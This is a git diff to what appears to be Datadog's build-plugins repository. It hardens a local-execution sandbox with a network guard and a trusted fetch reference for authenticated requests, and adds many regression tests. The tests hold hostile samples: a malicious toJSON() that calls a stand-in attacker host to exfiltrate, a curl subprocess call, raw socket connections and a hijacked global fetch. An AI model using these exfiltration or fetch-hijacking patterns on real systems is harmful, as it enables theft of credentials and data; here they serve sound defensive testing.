diff --git a/packages/core/src/helpers/request.test.ts b/packages/core/src/helpers/request.test.ts index b84221f03..4651dca48 100644 --- a/packages/core/src/helpers/request.test.ts +++ b/packages/core/src/helpers/request.test.ts @@ -2,6 +2,8 @@ // This product includes software developed at Datadog (https://www.datadoghq.com/). // Copyright 2019-Present Datadog, Inc. +/* global globalThis */ + import { DEFAULT_SITE } from '@dd/core/constants'; import type { RequestOpts } from '@dd/core/types'; import { @@ -258,6 +260,33 @@ describe('Request Helpers', () => { ); }); + // Regression test: a customer function running inside the local-execution sandbox can + // reassign globalThis.fetch to an attacker-controlled wrapper before triggering an + // authenticated $.Actions call. Passing network-guard.ts's trustedFetch as fetchImpl must + // make the real, credentialed request reach the actual network layer (asserted via nock) + // without ever invoking the reassigned global. + test('Should use fetchImpl instead of a reassigned globalThis.fetch when provided', async () => { + const { trustedFetch } = await import('@dd/apps-plugin/vite/network-guard'); + const { doRequest } = await import('@dd/core/helpers/request'); + + const originalFetch = globalThis.fetch; + const attackerFetch = jest.fn().mockResolvedValue(new Response('{"stolen":"headers"}')); + (globalThis as { fetch: typeof fetch }).fetch = + attackerFetch as unknown as typeof fetch; + + try { + const scope = nock(API_URL).post(API_PATH).reply(200, { data: 'ok' }); + + const response = await doRequest({ ...requestOpts, fetchImpl: trustedFetch }); + + expect(scope.isDone()).toBe(true); + expect(response).toEqual({ data: 'ok' }); + expect(attackerFetch).not.toHaveBeenCalled(); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); + test('Should not add bearer authentication headers when the OAuth access token is empty.', async () => { const fetchMock = jest .spyOn(global, 'fetch') diff --git a/packages/core/src/helpers/request.ts b/packages/core/src/helpers/request.ts index d027e606f..b01a100ca 100644 --- a/packages/core/src/helpers/request.ts +++ b/packages/core/src/helpers/request.ts @@ -90,7 +90,16 @@ export const NB_RETRIES = 5; // Do a retriable fetch. export const doRequest = async (opts: RequestOpts): Promise => { - const { auth, url, method = 'GET', getData, type = 'text', onResponse, signal } = opts; + const { + auth, + url, + method = 'GET', + getData, + type = 'text', + onResponse, + signal, + fetchImpl = fetch, + } = opts; const retryOpts: retry.Options = { retries: opts.retries === 0 ? 0 : opts.retries || NB_RETRIES, onRetry: opts.onRetry, @@ -133,7 +142,7 @@ export const doRequest = async (opts: RequestOpts): Promise => { requestHeaders = { ...requestHeaders, ...headers }; } - response = await fetch(url, { ...requestInit, headers: requestHeaders }); + response = await fetchImpl(url, { ...requestInit, headers: requestHeaders }); } catch (error: any) { // We don't want to retry if there is a non-fetch related error. bail(error); diff --git a/packages/core/src/types.ts b/packages/core/src/types.ts index 14d7c6829..68ab7ddb1 100644 --- a/packages/core/src/types.ts +++ b/packages/core/src/types.ts @@ -323,6 +323,10 @@ export type RequestOpts = { minTimeout?: number; maxTimeout?: number; signal?: AbortSignal; + // Defaults to a fresh `globalThis.fetch` lookup at call time (so tests can keep mocking the + // global). Callers that must be immune to the global being reassigned at runtime (e.g. the apps + // plugin's authenticated dev-server transport) pass a reference captured before that could happen. + fetchImpl?: typeof fetch; }; export type ResolvedEntry = { name?: string; resolved: string; original: string }; diff --git a/packages/plugins/apps/src/auth.test.ts b/packages/plugins/apps/src/auth.test.ts index dafc8bdeb..949554d28 100644 --- a/packages/plugins/apps/src/auth.test.ts +++ b/packages/plugins/apps/src/auth.test.ts @@ -2,7 +2,10 @@ // This product includes software developed at Datadog (https://www.datadoghq.com/). // Copyright 2019-Present Datadog, Inc. +/* global globalThis */ + import { getAuthenticatedRequest, MissingAuthenticationError } from '@dd/apps-plugin/auth'; +import { trustedFetch } from '@dd/apps-plugin/vite/network-guard'; import { doRequest } from '@dd/core/helpers/request'; import { cleanEnv } from '@dd/tests/_jest/helpers/env'; @@ -39,6 +42,7 @@ describe('Apps Plugin - auth', () => { apiKey: 'api-key', appKey: 'app-key', }, + fetchImpl: trustedFetch, }); }); @@ -54,6 +58,7 @@ describe('Apps Plugin - auth', () => { auth: { accessToken: 'oauth-token', }, + fetchImpl: trustedFetch, }); }); @@ -70,10 +75,37 @@ describe('Apps Plugin - auth', () => { auth: { accessToken: 'oauth-token', }, + fetchImpl: trustedFetch, }); }); test('Should throw when no credentials are configured', () => { expect(() => getAuthenticatedRequest()).toThrow(MissingAuthenticationError); }); + + // Regression test: a customer function running inside runAllowed can reassign globalThis.fetch + // to an attacker-controlled wrapper before triggering an authenticated $.Actions call. The + // authenticated request must still use network-guard.ts's trustedFetch (captured before any + // customer code could run), not whatever globalThis.fetch currently resolves to. + test('Should pass the trusted fetch reference through even after globalThis.fetch has been reassigned', async () => { + const originalFetch = globalThis.fetch; + const attackerFetch = jest.fn().mockResolvedValue(new Response('{"stolen":"headers"}')); + (globalThis as { fetch: typeof fetch }).fetch = attackerFetch as unknown as typeof fetch; + + try { + process.env.DD_API_KEY = 'api-key'; + process.env.DD_APP_KEY = 'app-key'; + doRequestMock.mockResolvedValue('ok'); + + await getAuthenticatedRequest()({ url: 'https://api.datadoghq.com/test' }); + + expect(doRequestMock).toHaveBeenCalledWith( + expect.objectContaining({ fetchImpl: trustedFetch }), + ); + expect(doRequestMock.mock.calls[0][0].fetchImpl).not.toBe(attackerFetch); + expect(attackerFetch).not.toHaveBeenCalled(); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); }); diff --git a/packages/plugins/apps/src/auth.ts b/packages/plugins/apps/src/auth.ts index 0858a8a72..c3e25fafb 100644 --- a/packages/plugins/apps/src/auth.ts +++ b/packages/plugins/apps/src/auth.ts @@ -6,6 +6,19 @@ import { getDDEnvValue } from '@dd/core/helpers/env'; import { doRequest } from '@dd/core/helpers/request'; import type { RequestOpts } from '@dd/core/types'; +// Lazy, same reasoning as local-execution.ts's getNetworkGuard(): importing network-guard.ts +// installs its monkeypatches at module-load time, and this module is only ever used by the Vite +// dev server (see getAuthenticatedRequest's callers), so deferring the import keeps that install +// confined to Vite instead of triggering for every bundler that transitively imports this file. +let networkGuardModule: Promise | undefined; +function getNetworkGuard(): Promise { + networkGuardModule ??= import('./vite/network-guard').catch((err: unknown) => { + networkGuardModule = undefined; + throw err; + }); + return networkGuardModule; +} + export const AUTH_GUIDANCE = 'Set DD_API_KEY and DD_APP_KEY for API-key auth, or set DD_OAUTH_ACCESS_TOKEN ' + '(or DATADOG_OAUTH_ACCESS_TOKEN) — e.g. by starting the dev server with `datadog-apps dev`.'; @@ -28,25 +41,31 @@ export const getAuthenticatedRequest = (): DoAuthenticatedRequest => { const apiKey = getDDEnvValue('API_KEY'); const appKey = getDDEnvValue('APP_KEY'); if (apiKey && appKey) { - return (opts) => - doRequest({ + return async (opts) => { + const { trustedFetch } = await getNetworkGuard(); + return doRequest({ ...opts, auth: { apiKey, appKey, }, + fetchImpl: trustedFetch, }); + }; } const accessToken = getDDEnvValue('OAUTH_ACCESS_TOKEN'); if (accessToken) { - return (opts) => - doRequest({ + return async (opts) => { + const { trustedFetch } = await getNetworkGuard(); + return doRequest({ ...opts, auth: { accessToken, }, + fetchImpl: trustedFetch, }); + }; } throw new MissingAuthenticationError(); diff --git a/packages/plugins/apps/src/vite/execution-epoch.ts b/packages/plugins/apps/src/vite/execution-epoch.ts index cb058117b..e7cc23a98 100644 --- a/packages/plugins/apps/src/vite/execution-epoch.ts +++ b/packages/plugins/apps/src/vite/execution-epoch.ts @@ -13,6 +13,10 @@ export interface EpochScope { export interface EpochGuard { /** Starts a new scope, superseding whichever one was previously active. */ start(): EpochScope; + /** True if some started scope hasn't yet been concluded or superseded. */ + hasActiveScope(): boolean; + /** Unconditionally invalidates the active scope without starting a new one — the backstop for a scope whose own `fn` never settles. */ + forceInvalidate(): void; } export function createEpochGuard(): EpochGuard { @@ -34,5 +38,11 @@ export function createEpochGuard(): EpochGuard { }, }; }, + hasActiveScope() { + return activeGeneration !== null; + }, + forceInvalidate() { + activeGeneration = null; + }, }; } diff --git a/packages/plugins/apps/src/vite/local-execution.test.ts b/packages/plugins/apps/src/vite/local-execution.test.ts index 32b10e298..cd5817990 100644 --- a/packages/plugins/apps/src/vite/local-execution.test.ts +++ b/packages/plugins/apps/src/vite/local-execution.test.ts @@ -18,6 +18,7 @@ import { deriveActionTimeouts, executeScriptLocally as executeScriptLocallyWithRuntimeContext, } from './local-execution'; +import { forceReset } from './network-guard'; const func: BackendFunction = { relativePath: 'src/example', @@ -87,6 +88,11 @@ function executeScriptLocally( ); } +// Same reasoning as network-guard.test.ts's own afterEach. +afterEach(() => { + forceReset(); +}); + /** A `loadModule` double that resolves the customer's function from a map and rejects anything else with a module-not-found error, matching the common case where neither optional package is installed. */ function loadModuleReturning(exports: Record): LoadModule { return moduleResolverFor(func, exports); @@ -94,6 +100,24 @@ function loadModuleReturning(exports: Record): LoadModule { const ORDER_MARKER = '__ddLocalExecutionTestOrder'; +// `(globalThis as { fetch: typeof fetch }).fetch = impl` repeated verbatim at every mock/restore +// call site — this collapses the cast to one place. +function setGlobalFetch(impl: typeof fetch): void { + (globalThis as { fetch: typeof fetch }).fetch = impl; +} + +// `getNetworkGuard()`'s lazy `import('./network-guard')` (see local-execution.ts) defers +// network-guard.ts's module-load-time side effects (process-wide monkeypatches on net.Socket, +// fetch, dgram, dns, child_process, worker_threads.Worker) until local execution actually runs, +// instead of installing them the moment any bundler transitively imports this file via index.ts. +// Not unit-testable under Jest: ts-jest doesn't route TypeScript-compiled modules through Node's +// native `require.cache`, so inspecting it can't distinguish an eagerly- from a lazily-loaded +// module here. Verified instead by bundling this file with esbuild (matching what a real +// non-Vite consumer of the apps plugin actually does) and confirming the compiled output wraps +// `getNetworkGuard`'s call in `Promise.resolve().then(() => init_network_guard())` — esbuild's +// standard lazy-CJS-module pattern — rather than requiring network-guard.ts eagerly at the top +// of the bundle. + describe('local-execution — executeScriptLocally', () => { test('Should run a simple function in-process and return its result', async () => { const result = await executeScriptLocally( @@ -442,8 +466,66 @@ describe('local-execution — executeScriptLocally', () => { ).rejects.toThrow(/must have an inputs field/); }); - test('Should currently accept an array as inputs without a validation error, since typeof [] === "object"', async () => { - // Documents a known, accepted gap: inputs is semantically a plain object of named parameters, but validateActionCall's `typeof inputs !== 'object'` check also passes an array through unchanged. + // validateActionCall's own `typeof inputs !== 'object'` check passes an array through + // unchanged (typeof [] === 'object'), but serializeActionInputs's shape check downstream + // rejects it — inputs is semantically a plain object of named parameters, and a caller relying + // on `Record`-shaped inputs must never actually receive an array. + test('Should reject an array as inputs, since inputs is semantically a plain object of named parameters', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + testDollar().Actions.slack.chat.postMessage({ inputs: ['a', 'b'] }), + }), + mockLogger, + ), + ).rejects.toThrow(/Inputs to action.*must be a plain object.*top-level shape to an array/); + }); + + test('Should reject a $.Actions call whose inputs contain a Map, instead of silently sending {} to the destination action', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + testDollar().Actions.slack.chat.postMessage({ + inputs: { text: new Map([['a', 1]]) }, + }), + }), + mockLogger, + ), + ).rejects.toThrow(/Inputs to action.*silently flattens/); + }); + + test('Should reject a $.Actions call whose inputs contain NaN, instead of silently sending null to the destination action', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + testDollar().Actions.slack.chat.postMessage({ + inputs: { score: NaN }, + }), + }), + mockLogger, + ), + ).rejects.toThrow(/Inputs to action.*silently converts to "null"/); + }); + + // Regression test: production's own JSON serialization of $.Actions inputs already silently + // omits an undefined-valued object property (e.g. `threadId: options?.threadId`) rather than + // erroring — a common optional-field pattern that must behave the same way locally. + test('Should silently omit an undefined-valued object property from $.Actions inputs, matching real JSON.stringify/production behavior', async () => { const executeAction = jest.fn().mockResolvedValue({ ok: true }); const result = await executeScriptLocally( func, @@ -451,18 +533,62 @@ describe('local-execution — executeScriptLocally', () => { [], executeAction, loadModuleReturning({ - example: () => testDollar().Actions.slack.chat.postMessage({ inputs: ['a', 'b'] }), + example: () => + testDollar().Actions.slack.chat.postMessage({ + inputs: { text: 'hi', threadId: undefined }, + }), }), mockLogger, ); expect(result).toEqual({ data: { ok: true } }); expect(executeAction).toHaveBeenCalledWith( 'com.datadoghq.slack.chat.postMessage', - ['a', 'b'], + { text: 'hi' }, undefined, ); }); + // Unlike an object property, JSON.stringify silently converts an array element's undefined to + // null instead of dropping it — real corruption, so this case still needs to be caught. + test('Should reject a $.Actions call whose inputs contain undefined inside an array, instead of silently sending null to the destination action', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + testDollar().Actions.slack.chat.postMessage({ + inputs: { items: ['a', undefined, 'b'] }, + }), + }), + mockLogger, + ), + ).rejects.toThrow(/Inputs to action.*undefined inside an array.*silently converts to null/); + }); + + // A top-level toJSON() can change the round-tripped value's shape entirely (object -> string), + // which the JSON-corruption checks above don't catch — they validate what's inside the value, + // not what type the whole thing ends up being. Callers depend on getting a plain object back. + test('Should reject a $.Actions call whose inputs round-trip to something other than a plain object via a top-level toJSON()', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + testDollar().Actions.slack.chat.postMessage({ + inputs: { toJSON: () => 'not an object' }, + }), + }), + mockLogger, + ), + ).rejects.toThrow(/Inputs to action.*must be a plain object.*top-level shape to string/); + }); + test('Should reject with the thrown message when the customer function throws synchronously', async () => { await expect( executeScriptLocally( @@ -759,6 +885,56 @@ describe('local-execution — executeScriptLocally', () => { ).rejects.toThrow(/timed out after 50ms/); }); + test("Should keep a hung function's own late continuation blocked after timeout, while a fresh execution afterward still works normally", async () => { + let lateNetworkAttempt: Promise | undefined; + + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + new Promise(() => { + // Scheduled, not awaited, so `example` never settles and the race + // below times out normally — fires after that 50ms timeout, not before. + setTimeout(() => { + lateNetworkAttempt = fetch('https://example.com'); + lateNetworkAttempt.catch(() => undefined); + }, 100); + }), + }), + mockLogger, + 50, + ), + ).rejects.toThrow(/timed out after 50ms/); + + // Lets the hung function's own delayed continuation fire, well after the timeout above. + await new Promise((resolve) => setTimeout(resolve, 100)); + + // The abandoned continuation's own async chain stays permanently blocked (by design), so + // its late network attempt must still be rejected — an identity check on the guarded + // property can't verify this, since the wrapper never changes identity either way. + expect(lateNetworkAttempt).toBeDefined(); + await expect(lateNetworkAttempt).rejects.toThrow(/Network access is not allowed/); + + // A fresh execution afterward must still work normally — the abandoned scope above must + // not permanently wedge network/action access for everything that runs after it. + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + testDollar().Actions.slack.chat.postMessage({ inputs: { text: 'hi' } }), + }), + mockLogger, + ); + expect(result).toEqual({ data: { data: null, stub: true, fqn: expect.any(String) } }); + }); + test('Should preserve preview context fields while overriding invocation-owned args and Actions', async () => { const getRuntimeContext = async () => ({ ...makeRuntimeContext(), @@ -1620,56 +1796,93 @@ describe('local-execution — executeScriptLocally', () => { ).rejects.toThrow(/example.*Symbol-keyed property/); }); - test('Should reject an explicit undefined nested inside a plain object, not just at the top level', async () => { + // A pre-stringify scan of the original value would miss this: toJSON() only runs during + // JSON.stringify itself, so the symbol-keyed object it returns must be checked where the + // replacer actually sees it, not on the value returned from the customer function. + test('Should reject a Symbol-keyed property introduced only by a custom toJSON(), not present on the original value', async () => { + const secretSymbol = Symbol('secret'); await expect( executeScriptLocally( func, TEST_PROJECT_ROOT, [], stubExecuteAction, - loadModuleReturning({ example: () => ({ status: 'ok', extra: undefined }) }), + loadModuleReturning({ + example: () => ({ + status: 'ok', + toJSON: () => ({ replaced: true, [secretSymbol]: 'leaked' }), + }), + }), mockLogger, ), - ).rejects.toThrow(/example.*JSON.stringify silently drops/); + ).rejects.toThrow(/example.*Symbol-keyed property/); + }); + + // Production's own HTTP serialization of a function's return value already silently omits + // an undefined-valued object property rather than erroring, so local execution must match. + test('Should silently omit an undefined nested inside a plain object from the return value, matching production, not just at the top level', async () => { + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => ({ status: 'ok', extra: undefined }) }), + mockLogger, + ); + expect(result).toEqual({ data: { status: 'ok' } }); }); - test('Should reject an explicit undefined at a property literally named the empty string, not mistake it for the JSON root', async () => { + test('Should silently omit an undefined at a property literally named the empty string, not mistake it for the JSON root', async () => { + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => ({ '': undefined, other: 'ok' }) }), + mockLogger, + ); + expect(result).toEqual({ data: { other: 'ok' } }); + }); + + test('Should reject a function at a property literally named the empty string, not mistake it for the JSON root', async () => { await expect( executeScriptLocally( func, TEST_PROJECT_ROOT, [], stubExecuteAction, - loadModuleReturning({ example: () => ({ '': undefined, other: 'ok' }) }), + loadModuleReturning({ example: () => ({ '': () => {}, other: 'ok' }) }), mockLogger, ), ).rejects.toThrow(/example.*JSON.stringify silently drops/); }); - test('Should reject a function at a property literally named the empty string, not mistake it for the JSON root', async () => { + test('Should reject a Symbol nested inside an array, not just at the top level', async () => { await expect( executeScriptLocally( func, TEST_PROJECT_ROOT, [], stubExecuteAction, - loadModuleReturning({ example: () => ({ '': () => {}, other: 'ok' }) }), + loadModuleReturning({ example: () => [1, Symbol('unsupported')] }), mockLogger, ), - ).rejects.toThrow(/example.*JSON.stringify silently drops/); + ).rejects.toThrow(/example.*symbol inside an array.*silently converts to null/); }); - test('Should reject a Symbol nested inside an array, not just at the top level', async () => { + // Unlike an object property, JSON.stringify silently converts an array element's undefined + // to null instead of dropping it — real corruption, so this must still be caught. + test('Should reject an undefined nested inside an array of the return value, instead of silently sending null', async () => { await expect( executeScriptLocally( func, TEST_PROJECT_ROOT, [], stubExecuteAction, - loadModuleReturning({ example: () => [1, Symbol('unsupported')] }), + loadModuleReturning({ example: () => [1, undefined, 2] }), mockLogger, ), - ).rejects.toThrow(/example.*JSON.stringify silently drops/); + ).rejects.toThrow(/example.*undefined inside an array.*silently converts to null/); }); test('Should allow an explicit undefined result through unchanged', async () => { @@ -1707,6 +1920,286 @@ describe('local-execution — executeScriptLocally', () => { }); }); + describe('network/subprocess guard', () => { + test('Should reject when the customer function tries a raw net.Socket connection', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + const net = require('net'); + return new net.Socket().connect(80, 'example.com'); + }, + }), + mockLogger, + ), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should reject when the customer function tries a raw fetch() call', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => fetch('https://example.com') }), + mockLogger, + ), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should reject when the customer function tries to spawn a subprocess', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + const child_process = require('child_process'); + return child_process.execSync('curl https://example.com'); + }, + }), + mockLogger, + ), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + }); + + test('Should still let a real $.Actions call through while the rest of the function is network-blocked', async () => { + const executeAction = jest.fn().mockResolvedValue({ ok: true }); + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + executeAction, + loadModuleReturning({ + example: async () => { + const actionResult = await testDollar().Actions.slack.chat.postMessage({ + inputs: { text: 'hi' }, + }); + // A raw fetch right after the sanctioned $.Actions call must still be blocked — the exemption is scoped to that one call. + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + return actionResult; + }, + }), + mockLogger, + ); + expect(result).toEqual({ data: { ok: true } }); + expect(executeAction).toHaveBeenCalledWith( + 'com.datadoghq.slack.chat.postMessage', + { text: 'hi' }, + undefined, + ); + }); + + test('Should block a malicious toJSON() on $.Actions inputs from making a real network call under cover of the exemption', async () => { + // toJSON() must be synchronous, so its fetch attempt can't be awaited there — capture the outcome and assert once the whole execution settles. + let fetchAttempt: Promise | undefined; + const maliciousInputs = { + text: 'hi', + toJSON() { + // Would resolve instead of rejecting if this ran inside runAllowed's window, meant only for the trusted preview-async call itself. + fetchAttempt = fetch('https://attacker.example.com/exfiltrate'); + return { text: 'hi' }; + }, + }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + testDollar().Actions.slack.chat.postMessage({ + inputs: maliciousInputs, + }), + }), + mockLogger, + ); + + expect(result).toEqual({ data: { data: null, stub: true, fqn: expect.any(String) } }); + expect(fetchAttempt).toBeDefined(); + await expect(fetchAttempt).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should restore real network access after execution, for whatever the dev server itself does next', async () => { + const realFetch = globalThis.fetch; + await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => 'fine' }), + mockLogger, + ); + expect(globalThis.fetch).toBe(realFetch); + }); + + test('Should keep network access allowed through two real, overlapping $.Actions calls made concurrently via Promise.all, without either blocking the other mid-flight', async () => { + // Proves the exemption holds through the real customer path (Promise.all → makeActionsProxy → runAllowed), not just at the unit level. + const order: string[] = []; + const executeAction: ExecuteAction = async (fqn) => { + const label = fqn.includes('slow') ? 'slow' : 'fast'; + order.push(`${label}-start`); + if (label === 'slow') { + await new Promise((r) => setTimeout(r, 20)); + } + await fetch(`https://example.com/${label}`); + order.push(`${label}-end`); + return { ok: true, fqn }; + }; + + const originalFetch = globalThis.fetch; + const fetchMock = jest.fn().mockResolvedValue('ok'); + setGlobalFetch(fetchMock as unknown as typeof fetch); + + let result: { data: unknown }; + try { + result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + executeAction, + loadModuleReturning({ + example: () => { + const $ = testDollar(); + return Promise.all([ + $.Actions.slow.action({ inputs: {} }), + $.Actions.fast.action({ inputs: {} }), + ]); + }, + }), + mockLogger, + ); + } finally { + setGlobalFetch(originalFetch); + } + + expect(result.data).toEqual([ + { ok: true, fqn: 'com.datadoghq.slow.action' }, + { ok: true, fqn: 'com.datadoghq.fast.action' }, + ]); + // The slow call's own fetch, made after the fast call's allow scope exited, must still resolve — network stayed allowed for it the whole time. + expect(order).toEqual(['slow-start', 'fast-start', 'fast-end', 'slow-end']); + expect(fetchMock).toHaveBeenCalledWith('https://example.com/slow'); + expect(fetchMock).toHaveBeenCalledWith('https://example.com/fast'); + }); + + // The action-catalog callback must be exempted from the block like makeActionsProxy's apply trap — it runs from inside the blocked function. + test("Should let a real network call through an action-catalog typed-wrapper call, not block it as if it were the customer's own code", async () => { + jest.spyOn(shared, 'isActionCatalogInstalled').mockReturnValue(true); + const executeAction: ExecuteAction = async (fqn, inputs) => { + const response = await fetch('https://example.com/action-catalog'); + return { fqn, inputs, response }; + }; + + let registeredImpl: + | ((actionId: string, request: unknown) => Promise) + | undefined; + const loadModule: LoadModule = async (specifier: string) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + return { + example: async () => + registeredImpl?.('com.datadoghq.slack.chat.postMessage', { + inputs: { text: 'hi' }, + }), + }; + } + if (specifier === '@datadog/action-catalog/action-execution') { + return { + setExecuteActionImplementation: ( + impl: (actionId: string, request: unknown) => Promise, + ) => { + registeredImpl = impl; + }, + }; + } + const notFoundError: NodeJS.ErrnoException = new Error( + `Cannot find module '${specifier}'`, + ); + notFoundError.code = 'MODULE_NOT_FOUND'; + throw notFoundError; + }; + + const originalFetch = globalThis.fetch; + const fetchMock = jest.fn().mockResolvedValue('ok'); + setGlobalFetch(fetchMock as unknown as typeof fetch); + + let result: { data: unknown }; + try { + result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + executeAction, + loadModule, + mockLogger, + ); + } finally { + setGlobalFetch(originalFetch); + } + + expect(result.data).toEqual({ + fqn: 'com.datadoghq.slack.chat.postMessage', + inputs: { text: 'hi' }, + response: 'ok', + }); + expect(fetchMock).toHaveBeenCalledWith('https://example.com/action-catalog'); + }); + }); + + describe('loadCustomerModuleEntry', () => { + // Regression test: network-guard.ts's trustedStdout/trustedStderr are captured at that + // module's own load time (see network-guard.ts). If the customer module's top-level code + // ran first, it could repoint process.stdout before the guard ever captures it, permanently + // defeating the write-blocking exemption check for every later execution in the process. + // loadCustomerModuleEntry is the one choke point every caller (executeColdActionLocally's + // priming, runScriptLocally's own fallback) funnels through, so asserting order here covers + // every path. Isolates both modules fresh so the assertion isn't satisfied by network-guard + // already having loaded from an earlier test in this file. + test("Should await the network guard module before evaluating the customer module's top-level code", async () => { + const calls: string[] = []; + + await jest.isolateModulesAsync(async () => { + jest.doMock('./network-guard', () => { + calls.push('network-guard-loaded'); + return { + runBlocked: async (fn: () => Promise) => fn(), + runAllowed: async (fn: () => Promise) => fn(), + forceReset: () => undefined, + }; + }); + + const { + loadCustomerModuleEntry: isolatedLoadCustomerModuleEntry, + } = require('./local-execution'); + + const loadModule: LoadModule = async () => { + calls.push('customer-module-loaded'); + return { example: () => 'done' }; + }; + + const mod = await isolatedLoadCustomerModuleEntry( + loadModule, + func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX, + ); + expect(mod).toEqual({ example: expect.any(Function) }); + }); + + expect(calls).toEqual(['network-guard-loaded', 'customer-module-loaded']); + }); + }); + describe('serialization of concurrent executions', () => { beforeEach(() => { delete (globalThis as Record)[ORDER_MARKER]; @@ -2370,5 +2863,54 @@ describe('local-execution — executeScriptLocally', () => { expect(callCount).toBe(0); }); + + // An abandoned execution's loadModule can resolve late, after a newer one is already inside the guards — it must not corrupt the newer state. + test("Should never let an abandoned execution's late-resolving loadModule enter the network/env guards while a newer execution is still inside them", async () => { + const makeLoadModule = (mainDelayMs: number): LoadModule => { + return async (specifier: string) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + if (mainDelayMs > 0) { + await new Promise((resolve) => setTimeout(resolve, mainDelayMs)); + } + return { + example: async () => { + // B's own body: still running when A's slow loadModule resolves, so any state A corrupts on its way in would be visible here. + await new Promise((resolve) => setTimeout(resolve, 200)); + return 'b-result'; + }, + }; + } + const notFoundError: NodeJS.ErrnoException = new Error( + `Cannot find module '${specifier}'`, + ); + notFoundError.code = 'MODULE_NOT_FOUND'; + throw notFoundError; + }; + }; + + // A times out at 20ms, well before its own 150ms-delayed loadModule resolves. + const abandoned = executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + makeLoadModule(150), + mockLogger, + 20, + ); + await expect(abandoned).rejects.toThrow(/timed out after 20ms/); + + // B starts as soon as the queue frees, and is still running its own 200ms body when A's loadModule resolves at the ~150ms mark. + const second = executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + makeLoadModule(0), + mockLogger, + ); + + await expect(second).resolves.toEqual({ data: 'b-result' }); + }); }); }); diff --git a/packages/plugins/apps/src/vite/local-execution.ts b/packages/plugins/apps/src/vite/local-execution.ts index c59e207e5..5477c1759 100644 --- a/packages/plugins/apps/src/vite/local-execution.ts +++ b/packages/plugins/apps/src/vite/local-execution.ts @@ -4,7 +4,7 @@ /* global Proxy, globalThis */ -/** Executes a backend function's file directly in-process inside the Vite dev server, mirroring executeScriptViaDatadog's `BackendOutputs` contract in dev-server.ts as a drop-in alternate implementation. */ +/** Executes a backend function's file directly in-process inside the Vite dev server — a drop-in alternate to dev-server.ts's executeScriptViaDatadog, mirroring its `BackendOutputs` contract. */ import type { Logger } from '@dd/core/types'; import { AsyncLocalStorage } from 'node:async_hooks'; @@ -16,8 +16,23 @@ import type { LongPollingOptions } from '../types'; import { resolveLongPolling } from '../validate'; import { createEpochGuard } from './execution-epoch'; +import type { BlockedScopeHandle } from './network-guard'; import { getTotalRetryDelayBudgetMs } from './retry-delay'; +// Lazy, memoized — network-guard.ts installs process-wide monkeypatches (net.Socket, fetch, dgram, +// dns, child_process, worker_threads.Worker) unconditionally at its own module-load time. A static +// import here would trigger that install for every bundler that transitively imports this file via +// index.ts (webpack/esbuild/rspack/rollup included), even though local execution is Vite-dev-only — +// deferring the import until a local execution actually happens confines the install to Vite. +let networkGuardModule: Promise | undefined; +function getNetworkGuard(): Promise { + networkGuardModule ??= import('./network-guard').catch((err: unknown) => { + networkGuardModule = undefined; + throw err; + }); + return networkGuardModule; +} + type RuntimeUser = { id: string; orgId: string; @@ -43,16 +58,16 @@ type BackendGlobalsBox = { value: unknown }; /** Scopes `globalThis.$` per execution via AsyncLocalStorage so a zombie execution's late "fresh" read resolves to its own `$`, never a newer execution's identity. */ const backendGlobalsContext = new AsyncLocalStorage(); -/** Whether `$` was installed (e.g. by `zx/globals`) before this module's own accessor below — distinguishes that legitimate passthrough from a customer module reaching for `$` with no prior value, which should fail like production does. */ +/** Whether `$` was installed (e.g. by `zx/globals`) before this module's own accessor — distinguishes that legitimate passthrough from a customer module reaching for `$` with no prior value, which should fail like production does. */ const hadPreexistingDollar = Reflect.has(globalThis, '$'); -/** Marks the window where a customer module's own top-level code is loading, narrower than "no execution box on the call stack" (also true between executions, where the undefined-returning fallback below is correct). Carries its own mutable box so a top-level `$` write (e.g. `zx/globals`) lands scoped to this module's own load, not the shared `globalDollarOutsideExecution` slot a later, unrelated load would also read from. */ 